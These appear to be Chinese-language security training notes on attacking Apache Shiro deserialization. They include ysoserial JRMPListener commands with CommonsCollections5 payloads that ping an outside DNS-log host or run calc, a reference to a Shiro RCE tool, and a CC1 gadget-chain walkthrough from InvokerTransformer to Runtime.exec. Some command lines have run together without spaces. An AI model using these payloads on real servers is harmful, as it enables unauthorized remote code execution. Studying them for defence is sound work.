知识点:
1、Java攻防-Shiro-有key无利用链&JRMP协议
2、Java攻防-Shiro-CC1链分析&Transform执行链
一、演示案例-Java攻防-Shiro-有key无利用链&JRMP协议
Shrio有key无链:JRMP指的是Java远程方法协议(Java Remote Method Protocol)。它是Java对象实现远程通信的基础技术,也是Java RMI(Remote Method Invocation,远程方法调用)的底层通信协议。借助JRMP,运行于某个Java虚拟机(JVM)中的对象能够调用另一个JVM中对象的方法,就如同调用本地对象的方法一样便捷。
非常规链:
利用工具:https://github.com/wyzxxz/shiro_rce_tool
文章:https://mp.weixin.qq.com/s/MdCUfyaUCAa2M3P3H1NsGw
公网靶场-URLDNS链
1、ysoserial生成JRMPListener
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"ping kfxmlanpak.zaza.eu.org"shiro_tool使用JRMPClient模式
2、java-chains项目生成JRMPListener
shiro_tool使用JRMPClient模式
本地DEMO-执行RCE
1、ysoserial生成JRMPListener
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"calc"shiro_tool使用JRMPClient模式
2、java-chains项目生成JRMPListener
shiro_tool使用JRMPClient模式
二、演示案例-Java攻防-Shiro-CC1链分析&Transform执行链
文章参考:https://mp.weixin.qq.com/s/J_YeNkLN6KYTCVDYFh1dvQ
commons-collections Gadget chain: ObjectInputStream.readObject()AnnotationInvocationHandler.readObject())MapEntry#setValueTransformedMap#checkSetValueChainedTransformer.transform()ConstantTransformer.transform()Runtime.class InvokerTransformer.transform()getRuntime().exec("calc");Class.getMethod()Runtime.getRuntime()Runtime.exec()//跟链过程从下往上,源码全局搜索InvokerTransformer.transform()1、寻找sink执行点
作用:执行点触发RCE执行
InvokerTransformer#transform()
本地DEMO
ChainedTransformer#transform()
ConstantTransformer#transform()
2、寻找gadget调用链
作用:调用链实现承上启下
TransformedMap#checkSetValue
现在已经知道RCE的由来,现在只需要看谁用了transform()
MapEntry#setValue
3、寻找Source入口点
作用:入口点重写方法调用